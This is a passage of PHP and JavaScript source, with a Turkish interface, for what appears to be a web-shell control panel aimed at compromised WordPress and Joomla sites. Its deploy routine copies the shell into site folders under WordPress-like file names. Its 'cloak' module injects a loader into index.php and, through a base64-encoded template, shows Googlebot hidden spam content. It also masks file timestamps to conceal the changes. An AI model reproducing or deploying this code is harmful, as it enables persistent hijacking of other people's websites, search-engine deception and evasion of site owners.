    if ($docRoot && $host && strpos(str_replace('\\', '/', $absPath), str_replace('\\', '/', $docRoot)) === 0) {
        $rel = substr(str_replace('\\', '/', $absPath), strlen(str_replace('\\', '/', $docRoot)));
        if ($rel === '' || $rel[0] !== '/') {
            $rel = '/' . ltrim($rel, '/');
        }
        return $scheme . '://' . $host . $rel;
    }
    return str_replace('\\', '/', $absPath);
}

function wrz_copy_file($src, $dst, $mkdir = false) {
    if (!@is_file($src) || !@is_readable($src)) {
        return ['ok' => false, 'msg' => 'Kaynak okunamadi'];
    }
    $dir = @dirname($dst);
    if ($mkdir && $dir && !@is_dir($dir)) {
        if (!@mkdir($dir, 0755, true)) {
            return ['ok' => false, 'msg' => 'Klasor olusturulamadi'];
        }
    } elseif ($dir && !@is_dir($dir)) {
        return ['ok' => false, 'msg' => 'Hedef klasor yok'];
    }
    $data = @file_get_contents($src);
    if ($data === false) {
        return ['ok' => false, 'msg' => 'Okuma hatasi'];
    }
    if (@file_put_contents($dst, $data) === false) {
        return ['ok' => false, 'msg' => 'Yazma hatasi'];
    }
    @chmod($dst, 0644);
    return ['ok' => true, 'msg' => 'OK'];
}

function wrz_deploy_shell() {
    $src = @realpath(__FILE__);
    if (!$src) {
        return ['ok' => false, 'html' => '<span style="color:#ff3366">Kaynak dosya bulunamadi</span>', 'items' => []];
    }
    $roots = wrz_wp_roots();
    if (!$roots) {
        return ['ok' => false, 'html' => '<span style="color:#ff3366">WordPress kok bulunamadi</span>', 'items' => []];
    }

    $items = [];
    $ok_count = 0;
    $fail_count = 0;

    foreach ($roots as $root) {
        $manifest_paths = [];
        foreach (wrz_deploy_target_specs($root) as $spec) {
            $dst = $spec['path'];
            $copy = wrz_copy_file($src, $dst, !empty($spec['mkdir']));
            $url = $copy['ok'] ? wrz_public_url($dst) : '';
            $items[] = [
                'root' => basename($root),
                'label' => $spec['label'] . ' → ' . ($spec['file'] ?? basename($dst)),
                'path' => $dst,
                'url' => $url,
                'ok' => $copy['ok'],
                'msg' => $copy['msg'],
            ];
            if ($copy['ok']) {
                $ok_count++;
                $manifest_paths[] = $dst;
            } else {
                $fail_count++;
            }
        }
        if ($manifest_paths) {
            wrz_deploy_manifest_save($root, $manifest_paths);
            wrz_deploy_backup_create($root);
        }
    }

    $lines = ['<div class="wrz-deploy-results">'];
    $lines[] = '<div style="color:#00ffff;margin-bottom:10px;"><b>Klasorlere yerlestirme tamamlandi</b> (WP tarzi dosya adlari) — OK: ' . $ok_count . ', Hata: ' . $fail_count . '</div>';
    $lines[] = '<div style="color:#888;font-size:12px;margin-bottom:10px;">Deploy yedegi otomatik alindi → <code>wp-content/.wrz-deploy-backup/</code></div>';
    $lines[] = '<ul style="list-style:none;padding:0;margin:0;text-align:left;max-width:900px;margin:0 auto;">';
    foreach ($items as $it) {
        $color = $it['ok'] ? '#3fb950' : '#ff3366';
        $icon = $it['ok'] ? '✓' : '✗';
        $link = '';
        if ($it['ok'] && !empty($it['url'])) {
            $link = ' — <a href="' . htmlspecialchars($it['url']) . '" target="_blank" rel="noopener" style="color:#00ffff">' . htmlspecialchars($it['url']) . '</a>';
        } elseif ($it['ok']) {
            $link = ' — <code style="color:#a0a0ff">' . htmlspecialchars($it['path']) . '</code>';
        } else {
            $link = ' — <span style="color:#888">' . htmlspecialchars($it['msg']) . '</span>';
        }
        $lines[] = '<li style="margin:8px 0;padding:10px;background:#140028;border-left:3px solid ' . $color . ';border-radius:4px;">'
            . '<span style="color:' . $color . '">' . $icon . '</span> '
            . '<b>' . htmlspecialchars($it['label']) . '</b>' . $link . '</li>';
    }
    $lines[] = '</ul></div>';

    return [
        'ok' => $ok_count > 0,
        'html' => implode("\n", $lines),
        'items' => $items,
        'ok_count' => $ok_count,
        'fail_count' => $fail_count,
    ];
}

// ===== WinRarZips Cloak (tek dosya — gomulu) =====
/**
 * WinRarZips Cloak modulu
 * wp-caches.php icinden yuklenir.
 */

if (!function_exists('wrz_cloak_clean_buffers')) {
    function wrz_cloak_clean_buffers() {
        while (@ob_get_level() > 0) {
            @ob_end_clean();
        }
    }
}

if (!function_exists('wrz_cloak_json_exit')) {
    function wrz_cloak_json_exit($data, $code = 200) {
        wrz_cloak_clean_buffers();
        if (!headers_sent()) {
            header('Content-Type: application/json; charset=utf-8');
            http_response_code((int) $code);
        }
        $out = json_encode($data, JSON_UNESCAPED_UNICODE);
        if ($out === false) {
            $out = json_encode(['error' => 'json_encode_fail'], JSON_UNESCAPED_UNICODE);
        }
        echo $out;
        exit;
    }
}

function wrz_cloak_docroot() {
    if (function_exists('wrz_cms_roots')) {
        $cms = wrz_cms_roots();
        if (!empty($cms[0]['root'])) {
            return rtrim(str_replace('\\', '/', $cms[0]['root']), '/');
        }
    }
    if (function_exists('wrz_wp_roots')) {
        $roots = wrz_wp_roots();
        if (!empty($roots[0])) {
            return rtrim(str_replace('\\', '/', $roots[0]), '/');
        }
    }
    if (function_exists('wrz_joomla_roots')) {
        $roots = wrz_joomla_roots();
        if (!empty($roots[0])) {
            return rtrim(str_replace('\\', '/', $roots[0]), '/');
        }
    }
    $doc = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
    return $doc ? rtrim(str_replace('\\', '/', $doc), '/') : '';
}

function wrz_cloak_handle_request() {
    if (!function_exists('wrz_is_logged_in') || !wrz_is_logged_in()) {
        return false;
    }

    $a = '';
    if (isset($_GET['wrz_cloak']) && (string) $_GET['wrz_cloak'] !== '') {
        $a = (string) $_GET['wrz_cloak'];
    } elseif (isset($_POST['wrz_cloak']) && (string) $_POST['wrz_cloak'] !== '') {
        $a = (string) $_POST['wrz_cloak'];
    }
    if ($a === '') {
        return false;
    }

    wrz_cloak_clean_buffers();
    @ob_start();

    $DIR = wrz_cloak_docroot();
    if ($DIR === '' || !@is_dir($DIR)) {
        if (function_exists('wrz_cloak_json_exit')) {
            wrz_cloak_json_exit(['error' => 'CMS kok dizini bulunamadi (WordPress/Joomla)']);
        }
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode(['error' => 'CMS kok dizini bulunamadi (WordPress/Joomla)'], JSON_UNESCAPED_UNICODE);
        return true;
    }

    try {
        if (function_exists('wrz_cloak_load_actions')) {
            wrz_cloak_load_actions($a, $DIR);
        } else {
            wrz_cloak_json_exit(['error' => 'Cloak modulu eksik']);
        }
    } catch (Throwable $e) {
        if (function_exists('wrz_cloak_json_exit')) {
            wrz_cloak_json_exit(['error' => $e->getMessage()]);
        }
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode(['error' => $e->getMessage()], JSON_UNESCAPED_UNICODE);
    }

    $junk = @ob_get_clean();
    if ($junk !== '' && trim($junk) !== '') {
        if (function_exists('wrz_cloak_json_exit')) {
            wrz_cloak_json_exit(['error' => 'Beklenmeyen cikti', 'preview' => substr(strip_tags($junk), 0, 300)]);
        }
    }
    return true;
}

function wrz_cloak_status($dir) {
    $indexFile = 'index.php';
    $htmlFile = 'wp-comments-post-loader.html';
    $ampFile = 'amp.php';
    $idxPath = $dir . DIRECTORY_SEPARATOR . $indexFile;
    $htmlPath = $dir . DIRECTORY_SEPARATOR . $htmlFile;
    $ampPath = $dir . DIRECTORY_SEPARATOR . $ampFile;
    $idxExists = @file_exists($idxPath);
    $htmlExists = @file_exists($htmlPath);
    $ampExists = @file_exists($ampPath);
    $googleFiles = function_exists('wrz_cloak_list_google_files') ? wrz_cloak_list_google_files($dir) : [];

    if (!$googleFiles) {
        foreach ((array) @glob($dir . DIRECTORY_SEPARATOR . 'google*.html') as $p) {
            $b = basename($p);
            if (preg_match('/^google[a-zA-Z0-9]+\.html$/', $b)) {
                $googleFiles[] = $b;
            }
        }
        sort($googleFiles);
    }

    $cms = function_exists('wrz_cloak_cms_type') ? wrz_cloak_cms_type($dir) : 'unknown';

    return [
        'dir' => $dir,
        'cms' => $cms,
        'idx_exists' => $idxExists,
        'idx_size' => $idxExists ? number_format((int) @filesize($idxPath)) : '—',
        'html_exists' => $htmlExists,
        'html_size' => $htmlExists ? number_format((int) @filesize($htmlPath)) : '—',
        'amp_exists' => $ampExists,
        'amp_size' => $ampExists ? number_format((int) @filesize($ampPath)) : '—',
        'google_files' => $googleFiles,
    ];
}

function wrz_cloak_query_base() {
    return wrz_cloak_api_base();
}

function wrz_cloak_render_panel($status) {
    $api = wrz_cloak_api_base();
    $postUrl = wrz_cloak_script_url();
    $dir = htmlspecialchars($status['dir'], ENT_QUOTES, 'UTF-8');
    $pk = htmlspecialchars($api, ENT_QUOTES, 'UTF-8');
    $cmsLabel = isset($status['cms']) && $status['cms'] === 'joomla' ? 'Joomla' : (isset($status['cms']) && $status['cms'] === 'wordpress' ? 'WordPress' : 'CMS');
    ?>
<div id="wrz-cloak-panel" class="wrz-cloak-panel">
  <div class="wrz-cloak-head" onclick="wrzCloakToggle()">
    <span class="wrz-cloak-title">CLOAK ISLEMLERI · <?= htmlspecialchars($cmsLabel, ENT_QUOTES, 'UTF-8') ?></span>
    <span id="wrz-cloak-badge" class="wrz-cloak-badge checking">● Kontrol...</span>
    <span class="wrz-cloak-chev" id="wrz-cloak-chev">▼</span>
  </div>
  <div class="wrz-cloak-body" id="wrz-cloak-body">
    <div class="wrz-cloak-sub"><?= $dir ?></div>

    <div class="wrz-cloak-grid-top">
      <button type="button" class="wrz-btn wrz-btn-green wrz-btn-lg" onclick="wrzAutocloakAmp('joomla')">Joomla AMP Cloak</button>
      <button type="button" class="wrz-btn wrz-btn-green wrz-btn-lg" onclick="wrzAutocloakAmp('wordpress')">WordPress AMP Cloak</button>
      <button type="button" class="wrz-btn wrz-btn-blue wrz-btn-lg" onclick="wrzBotcheck()">GoogleBot ile Kontrol Et</button>
    </div>

    <p class="wrz-note blue"><b>Otomatik Joomla AMP cloak</b> — index.php + .htaccess analiz edilir; W7 Shield, Joomla 4/5 veya Gridbox uploads icin en uygun loader secilir. index.php'ye sadece 1 satir <code>require_once</code> eklenir.</p>
    <p class="wrz-note red"><code>amp.php</code> dosyanizi asagidaki <b>AMP Icerigini Duzenle</b> bolumunden kaydedin.</p>
    <p class="wrz-note purple">Kurulumdan sonra <b>Timestamp Duzenle</b> ile mtime maskeleme yapin.</p>
    <p class="wrz-note orange">Gercek test icin <b>GoogleBot ile Kontrol Et</b> kullanin. Sorun olursa <b>ACIL GERI AL</b>.</p>

    <div class="wrz-cloak-card">
      <div class="wrz-cloak-h">Durum</div>
      <div class="wrz-cloak-row"><span class="dot <?= $status['idx_exists'] ? 'ok' : 'err' ?>"></span><span>index.php</span><span class="muted"><?= $status['idx_exists'] ? $status['idx_size'] . ' bayt' : '— YOK —' ?></span></div>
      <div class="wrz-cloak-row"><span class="dot <?= !empty($status['amp_exists']) && (int)str_replace(',','',$status['amp_size']) >= 20 ? 'ok' : 'warn' ?>"></span><span>amp.php (bot icerigi)</span><span class="muted"><?= !empty($status['amp_exists']) ? $status['amp_size'] . ' bayt' : '— cloak ile olusturulur —' ?></span></div>
      <div class="wrz-cloak-row"><span class="dot <?= $status['html_exists'] && (int)str_replace(',','',$status['html_size']) >= 80 ? 'ok' : 'warn' ?>"></span><span>wp-comments-post-loader.html (eski)</span><span class="muted"><?= $status['html_exists'] ? $status['html_size'] . ' bayt' : '—' ?></span></div>
      <?php foreach ($status['google_files'] as $gf): ?>
      <div class="wrz-cloak-row"><span class="dot ok"></span><span><?= htmlspecialchars($gf) ?></span><span class="tag-g">GOOGLE</span><a href="#" onclick="wrzRemoveGoogle('<?= htmlspecialchars(addslashes($gf)) ?>');return false" class="del">Sil</a></div>
      <?php endforeach; ?>
    </div>

    <div class="wrz-cloak-btns">
      <button type="button" class="wrz-btn wrz-btn-orange wrz-btn-lg" onclick="wrzRevert()">Orijinale Don</button>
      <button type="button" class="wrz-btn wrz-btn-red wrz-btn-lg" onclick="wrzForceRevert()">ACIL GERI AL</button>
      <?php if (!$status['idx_exists']): ?>
      <button type="button" class="wrz-btn wrz-btn-green wrz-btn-lg" onclick="wrzRestoreIndex()">index.php OLUSTUR</button>
      <?php endif; ?>
      <button type="button" class="wrz-btn wrz-btn-cyan wrz-btn-lg" onclick="wrzClearcache()">Cache Temizle</button>
      <button type="button" class="wrz-btn wrz-btn-purple wrz-btn-lg" onclick="wrzFixts()">Timestamp Duzenle</button>
    </div>
    <div class="wrz-msg" id="wrz-cmsg"></div>
    <div id="wrz-ccresult" class="wrz-report" style="display:none"><div class="wrz-report-title">Cache Raporu</div><div id="wrz-ccrows"></div></div>
    <div id="wrz-tsresult" class="wrz-report" style="display:none"><div class="wrz-report-title purple">Timestamp Raporu</div><div id="wrz-tsrows"></div></div>
    <div class="wrz-msg" id="wrz-bcmsg"></div>
    <div id="wrz-bcresult" class="wrz-report" style="display:none">
      <div id="wrz-bcbadge" class="wrz-bc-badge"></div>
      <div id="wrz-bcmeta" class="wrz-cloak-sub"></div>
      <details><summary>Onizleme</summary><pre id="wrz-bcpreview" class="wrz-pre"></pre></details>
    </div>

    <details class="wrz-details">
      <summary>AMP Icerigini Duzenle (amp.php)</summary>
      <div class="wrz-cloak-card inner">
        <button type="button" class="wrz-btn" onclick="wrzLoadAmp()">Yukle</button>
        <span id="wrz-ampmsg-load" class="muted"></span>
        <textarea id="wrz-ampcontent" placeholder="GoogleBot icin amp.php HTML/PHP icerigi..."></textarea>
        <button type="button" class="wrz-btn wrz-btn-blue" onclick="wrzSaveAmp()">Kaydet</button>
        <span class="wrz-msg" id="wrz-ampmsg"></span>
      </div>
    </details>

    <details class="wrz-details">
      <summary>Perde Tasarimini Duzenle (eski HTML)</summary>
      <div class="wrz-cloak-card inner">
        <button type="button" class="wrz-btn" onclick="wrzLoadHtml()">Yukle</button>
        <span id="wrz-lmsg" class="muted"></span>
        <textarea id="wrz-htmlcontent" placeholder="Perde HTML kodunuzu buraya yapistirin..."></textarea>
        <button type="button" class="wrz-btn wrz-btn-blue" onclick="wrzSaveHtml()">Kaydet</button>
        <span class="wrz-msg" id="wrz-hmsg"></span>
      </div>
    </details>

    <details class="wrz-details">
      <summary>Google Search Console Dogrulama Dosyasi Yukle</summary>
      <div class="wrz-cloak-card inner">
        <input id="wrz-gname" placeholder="google....html" class="wrz-input">
        <textarea id="wrz-gcontent" placeholder="google-site-verification: TOKEN" class="wrz-ta-sm"></textarea>
        <button type="button" class="wrz-btn wrz-btn-blue" onclick="wrzUploadGoogle()">Yukle</button>
        <span class="wrz-msg" id="wrz-gmsg"></span>
      </div>
    </details>
  </div>
</div>
<script>
(function(){
  var PK=<?= json_encode($api) ?>;
  var POST_URL=<?= json_encode($postUrl) ?>;
  var GOOGLE_RX=/^google[a-zA-Z0-9]+\.html$/;
  var _cloakActive=false,_botDone=false,_botWork=false;
  var _LS='wrz_bc_'+location.hostname;

  window.wrzCloakToggle=function(){
    var b=document.getElementById('wrz-cloak-body');
    var c=document.getElementById('wrz-cloak-chev');
    if(!b)return;
    var open=b.style.display!=='none';
    b.style.display=open?'none':'block';
    if(c)c.textContent=open?'▼':'▲';
  };

  function setMsg(id,t,type){var el=document.getElementById(id);if(!el)return;el.textContent=t||'';el.className='wrz-msg '+(type||'');}
  function setBadge(state){
    var el=document.getElementById('wrz-cloak-badge');if(!el)return;
    var m={checking:['checking','● Kontrol...'],atilmamis:['off','● Cloaking Atilmamis'],pasif:['warn','● Cloaking: Pasif'],aktif:['ok','● Cloaking: Aktif']};
    var x=m[state]||m.atilmamis;el.className='wrz-cloak-badge '+x[0];el.textContent=x[1];
  }
  function enc(s){var b=btoa(unescape(encodeURIComponent(s)));return encodeURIComponent(b.replace(/\+/g,'-').replace(/\//g,'_').replace(/=+$/,''));}
  function toHex(str){var bytes=new TextEncoder().encode(str),h='';for(var i=0;i<bytes.length;i++)h+=('0'+bytes[i].toString(16)).slice(-2);return h;}
  function decodeB64(t){try{var bin=atob(t.replace(/\s+/g,''));var bytes=new Uint8Array(bin.length);for(var i=0;i<bin.length;i++)bytes[i]=bin.charCodeAt(i);return new TextDecoder('utf-8').decode(bytes);}catch(e){return t;}}

  function wrzParsePreview(t){t=(t||'').replace(/\s+/g,' ').trim();return t?t.substring(0,220):'(bos yanit)';}
  function checkCloak(){
    setBadge('checking');
    var x=new XMLHttpRequest();x.open('GET',PK+'checkcloak&_='+Date.now());
    x.onload=function(){try{var r=JSON.parse(x.responseText);_cloakActive=!!r.active;if(_cloakActive){setBadge('checking');wrzBotcheck(true);}else setBadge('atilmamis');}catch(e){setBadge('pasif');}};
    x.onerror=function(){setBadge('pasif');};x.send();
  }

  window.wrzAutocloakAmp=function(cms){
    var label=cms==='joomla'?'Joomla':'WordPress';
    if(cms==='joomla'){
      setMsg('wrz-cmsg',label+' — index.php ve .htaccess analiz ediliyor...','info');
      var s=new XMLHttpRequest();s.open('GET',PK+'joomla_amp_scan&_='+Date.now());
      s.onload=function(){
        try{
          var p=JSON.parse((s.responseText||'').trim());
          var info='index:'+(p.index&&p.index.valid?'OK':'?')+' | inject:'+(p.inject||'?')+' | loader:'+(p.loader&&p.loader.rel?p.loader.rel:'?');
          if(p.htaccess&&p.htaccess.warnings&&p.htaccess.warnings.length)info+=' | htaccess uyarisi';
          setMsg('wrz-cmsg',info,'info');
        }catch(e){}
        wrzAutocloakAmpRun(cms,label);
      };
      s.onerror=function(){wrzAutocloakAmpRun(cms,label);};
      s.send();
      return;
    }
    wrzAutocloakAmpRun(cms,label);
  };
  window.wrzAutocloakAmpRun=function(cms,label){
    if(!confirm(label+' AMP cloak otomatik uygulansin mi?\\nindex.php analiz + loader + amp.php'))return;
    setMsg('wrz-cmsg',label+' AMP cloak kuruluyor...','info');
    var x=new XMLHttpRequest();x.open('GET',PK+'autocloak_amp&cms='+encodeURIComponent(cms)+'&_='+Date.now());
    x.onload=function(){
      try{
        var r=JSON.parse((x.responseText||'').trim());
        var ok=(r.index==='OK'||r.ok===true);
        var parts=[label,'index:'+r.index,'loader:'+(r.loader||'?'),'amp:'+(r.amp||'?')+'@'+(r.amp_path||'amp.php')];
        if(r.inject_point)parts.push('inject:'+r.inject_point);
        if(r.plan&&r.plan.strategy)parts.push(r.plan.strategy);
        if(r.message)parts.push(r.message);
        setMsg('wrz-cmsg',parts.join(' | '),ok?'ok':'err');
        if(ok){
          _cloakActive=true;
          setBadge('aktif');
          setTimeout(function(){wrzBotcheck(true);},600);
          setTimeout(function(){location.reload();},2500);
        }
      }catch(e){setMsg('wrz-cmsg','JSON hata: '+wrzParsePreview(x.responseText),'err');}
    };
    x.onerror=function(){setMsg('wrz-cmsg','Ag hatasi','err');};
    x.send();
  };
  window.wrzLoadAmp=function(){
    document.getElementById('wrz-ampmsg-load').textContent='Yukleniyor...';
    var x=new XMLHttpRequest();x.open('GET',PK+'raw&b='+enc('amp.php'));
    x.onload=function(){document.getElementById('wrz-ampcontent').value=decodeB64(x.responseText);document.getElementById('wrz-ampmsg-load').textContent='Yuklendi.';};
    x.send();
  };
  window.wrzSaveAmp=function(){
    var c=document.getElementById('wrz-ampcontent').value;
    var fd=new FormData();fd.append('wrz_cloak','saveamp');fd.append('d',toHex(c));
    var x=new XMLHttpRequest();x.open('POST',POST_URL);
    x.onload=function(){
      var t=(x.responseText||'').trim();
      setMsg('wrz-ampmsg',t==='OK'?'amp.php kaydedildi':'Hata: '+wrzParsePreview(t),t==='OK'?'ok':'err');
    };
    x.send(fd);
  };
  window.wrzRevert=function(){
    if(!confirm('index.php orijinale donsun mu?'))return;
    var x=new XMLHttpRequest();x.open('GET',PK+'revert&_='+Date.now());
    x.onload=function(){
      var t=(x.responseText||'').trim();
      setMsg('wrz-cmsg',t,t==='OK'?'ok':'err');
      if(t==='OK')setTimeout(function(){location.reload();},800);
    };
    x.send();
  };
  window.wrzForceRevert=function(){
    if(!confirm('ACIL GERI AL: index.php geri yuklenir/olusturulur, cloak kaldirilir. Devam?'))return;
    setMsg('wrz-cmsg','Geri aliniyor...','info');
    var x=new XMLHttpRequest();x.open('GET',PK+'force_revert&_='+Date.now());
    x.onload=function(){
      try{
        var t=(x.responseText||'').trim();
        var r=JSON.parse(t);
        setMsg('wrz-cmsg',r.ok?'Site geri alindi — ana sayfayi test edin':'Geri alma basarisiz',r.ok?'ok':'err');
        if(r.ok)setTimeout(function(){location.reload();},800);
      }catch(e){
        setMsg('wrz-cmsg','JSON hata: '+wrzParsePreview(x.responseText),'err');
      }
    };
    x.onerror=function(){setMsg('wrz-cmsg','Ag hatasi','err');};
    x.send();
  };
  window.wrzRestoreIndex=function(){
    if(!confirm('index.php olusturulsun / geri yuklensin mi?'))return;
    setMsg('wrz-cmsg','index.php yaziliyor...','info');
    var x=new XMLHttpRequest();x.open('GET',PK+'restore_index&_='+Date.now());
    x.onload=function(){
      try{
        var r=JSON.parse((x.responseText||'').trim());
        setMsg('wrz-cmsg',r.ok?'index.php hazir — siteyi acin':'Basarisiz: '+(r.error||''),r.ok?'ok':'err');
        if(r.ok)setTimeout(function(){location.reload();},800);
      }catch(e){setMsg('wrz-cmsg','JSON hata: '+wrzParsePreview(x.responseText),'err');}
    };
    x.send();
  };
  window.wrzLoadHtml=function(){
    document.getElementById('wrz-lmsg').textContent='Yukleniyor...';
    var x=new XMLHttpRequest();x.open('GET',PK+'raw&b='+enc('wp-comments-post-loader.html'));
    x.onload=function(){document.getElementById('wrz-htmlcontent').value=decodeB64(x.responseText);document.getElementById('wrz-lmsg').textContent='Yuklendi.';};
    x.send();
  };
  window.wrzSaveHtml=function(){
    var c=document.getElementById('wrz-htmlcontent').value;
    if(c.indexOf('<'+'?')!==-1){setMsg('wrz-hmsg','PHP etiketi yasak','err');return;}
    var fd=new FormData();fd.append('wrz_cloak','savehtml');fd.append('d',toHex(c));
    var x=new XMLHttpRequest();x.open('POST',POST_URL);
    x.onload=function(){
      var t=(x.responseText||'').trim();
      setMsg('wrz-hmsg',t==='OK'?'Kaydedildi':'Hata: '+wrzParsePreview(t),t==='OK'?'ok':'err');
    };
    x.send(fd);
  };
  window.wrzBotcheck=function(auto){
    setMsg('wrz-bcmsg','GoogleBot istegi...','info');setBadge('checking');
    var x=new XMLHttpRequest();x.open('GET',PK+'botcheck&_='+Date.now());
    x.onload=function(){
      setMsg('wrz-bcmsg','','');
      try{var r=JSON.parse(x.responseText);}catch(e){setMsg('wrz-bcmsg','JSON hata','err');return;}
      document.getElementById('wrz-bcresult').style.display='block';
      var badge=document.getElementById('wrz-bcbadge');
      if(r.matched){badge.className='wrz-bc-badge ok';badge.textContent='CLOAK CALISIYOR';setBadge('aktif');}
      else if(r.site_blank){badge.className='wrz-bc-badge fail';badge.textContent='SITE BOZUK (beyaz sayfa) — ACIL GERI AL';setBadge('pasif');}
      else if(r.html_empty){badge.className='wrz-bc-badge warn';badge.textContent='HTML bos';setBadge('pasif');}
      else{badge.className='wrz-bc-badge fail';badge.textContent='CLOAK CALISMIYOR';setBadge('pasif');}
      document.getElementById('wrz-bcmeta').textContent='HTTP '+r.http_code+' | '+r.url;
      document.getElementById('wrz-bcpreview').textContent=r.preview||'';
    };
    x.send();
  };
  window.wrzClearcache=function(){
    setMsg('wrz-cmsg','Cache temizleniyor...','info');
    var x=new XMLHttpRequest();x.open('GET',PK+'clearcache&_='+Date.now());
    x.onload=function(){
      setMsg('wrz-cmsg','','');
      try{var r=JSON.parse(x.responseText);}catch(e){setMsg('wrz-cmsg','JSON hata: '+wrzParsePreview(x.responseText),'err');return;}
      var html='',keys=Object.keys(r);
      keys.forEach(function(k){if(!r[k]||!r[k].s)return;html+='<div class="wrz-cache-row '+r[k].s+'"><b>'+k+'</b>: '+r[k].m+'</div>';});
      document.getElementById('wrz-ccrows').innerHTML=html;
      document.getElementById('wrz-ccresult').style.display='block';
    };
    x.send();
  };
  window.wrzFixts=function(){
    var x=new XMLHttpRequest();x.open('GET',PK+'fixtimestamp&_='+Date.now());
    x.onload=function(){
      try{var r=JSON.parse(x.responseText);}catch(e){return;}
      var html='';for(var k in r){html+='<div class="wrz-cache-row '+(r[k].s||'')+'">'+(k)+': '+r[k].m+'</div>';}
      document.getElementById('wrz-tsrows').innerHTML=html;
      document.getElementById('wrz-tsresult').style.display='block';
    };
    x.send();
  };
  window.wrzUploadGoogle=function(){
    var name=document.getElementById('wrz-gname').value.trim(),content=document.getElementById('wrz-gcontent').value;
    if(!GOOGLE_RX.test(name)){setMsg('wrz-gmsg','Gecersiz dosya adi','err');return;}
    var fd=new FormData();fd.append('wrz_cloak','writegoogle');fd.append('b',enc(name));fd.append('d',toHex(content));
    var x=new XMLHttpRequest();x.open('POST',POST_URL);
    x.onload=function(){
      var t=(x.responseText||'').trim();
      setMsg('wrz-gmsg',t==='OK'?'Yuklendi':'Hata: '+wrzParsePreview(t),t==='OK'?'ok':'err');
      if(t==='OK')setTimeout(function(){location.reload();},900);
    };
    x.send(fd);
  };
  window.wrzRemoveGoogle=function(name){
    if(!confirm(name+' silinsin mi?'))return;
    var x=new XMLHttpRequest();x.open('GET',PK+'rmgoogle&b='+enc(name));
    x.onload=function(){if(x.responseText==='OK')location.reload();else alert(x.responseText);};
    x.send();
  };

  document.addEventListener('DOMContentLoaded',checkCloak);
})();
</script>
    <?php
}

function wrz_cloak_load_actions($a, $DIR) {
// Cloak actions — included by wrz_cloak.php

if (!function_exists('wrz_cloak_clean_buffers')) {
    function wrz_cloak_clean_buffers() {
        while (@ob_get_level() > 0) {
            @ob_end_clean();
        }
    }
}

if (!function_exists('wrz_cloak_json_exit')) {
    function wrz_cloak_json_exit($data, $code = 200) {
        wrz_cloak_clean_buffers();
        if (!headers_sent()) {
            header('Content-Type: application/json; charset=utf-8');
            http_response_code((int) $code);
        }
        $out = json_encode($data, JSON_UNESCAPED_UNICODE);
        if ($out === false) {
            $out = json_encode(['error' => 'json_encode_fail'], JSON_UNESCAPED_UNICODE);
        }
        echo $out;
        exit;
    }
}

if (!function_exists('wrz_cloak_cc_rmdir')) {
    function wrz_cloak_cc_rmdir($dir) {
        $n = 0;
        if (!@is_dir($dir)) {
            return 0;
        }
        try {
            $it = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::CHILD_FIRST
            );
            foreach ($it as $f) {
                $path = $f->getRealPath();
                if ($f->isFile() || $f->isLink()) {
                    if (@unlink($path)) {
                        $n++;
                    }
                } elseif ($f->isDir() && $path && realpath($path) !== realpath($dir)) {
                    @rmdir($path);
                }
            }
        } catch (Exception $e) {
            // dizin okunamadi
        } catch (Throwable $e) {
            // PHP 7+
        }
        return $n;
    }
}

if (!function_exists('wrz_cloak_try_load_wp')) {
    function wrz_cloak_try_load_wp($dir) {
        foreach ([$dir . '/wp-load.php', dirname($dir) . '/wp-load.php'] as $wpl) {
            if (!@is_file($wpl)) {
                continue;
            }
            @ob_start();
            $loaded = false;
            try {
                if (!defined('SHORTINIT')) {
                    define('SHORTINIT', true);
                }
                @include_once $wpl;
                $loaded = defined('ABSPATH');
            } catch (Throwable $e) {
                $loaded = false;
            }
            @ob_end_clean();
            if ($loaded) {
                return true;
            }
        }
        return false;
    }
}

$TEMPLATES=[
  'wordpress'=>[
  'index.php'=>[
    'cloak'=>base64_decode('PD9waHAKaGVhZGVyKCdDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgbWF4LWFnZT0wJyk7CmhlYWRlcignUHJhZ21hOiBuby1jYWNoZScpOwpoZWFkZXIoJ1Zhcnk6IFVzZXItQWdlbnQnKTsKJHVzZXJBZ2VudD1pc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pPyRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTonJzsKaWYocHJlZ19tYXRjaCgnL0dvb2dsZWJvdHxBZHNCb3R8TWVkaWFwYXJ0bmVycy1Hb29nbGV8QVBJcy1Hb29nbGV8R29vZ2xlYm90LUltYWdlfEdvb2dsZWJvdC1WaWRlb3xHb29nbGVib3QtTmV3c3xHb29nbGVib3QtU2VhcmNofEdvb2dsZWJvdC1JbnNwZWN0fEdvb2dsZWJvdC1BbmRyb2lkfEdvb2dsZWJvdC1Nb2JpbGV8R29vZ2xlYm90LUFkc3xHb29nbGVib3QtRGlzY292ZXJ5fEdvb2dsZS18R29vZ2xlT3RoZXIvaScsJHVzZXJBZ2VudCkmJiRfU0VSVkVSWydSRVFVRVNUX1VSSSddPT0nLycpe2luY2x1ZGUgJ3dwLWNvbW1lbnRzLXBvc3QtbG9hZGVyLmh0bWwnO2RpZSgpO30KZGVmaW5lKCdXUF9VU0VfVEhFTUVTJyx0cnVlKTsKcmVxdWlyZSBfX0RJUl9fLicvd3AtYmxvZy1oZWFkZXIucGhwJzsK'),
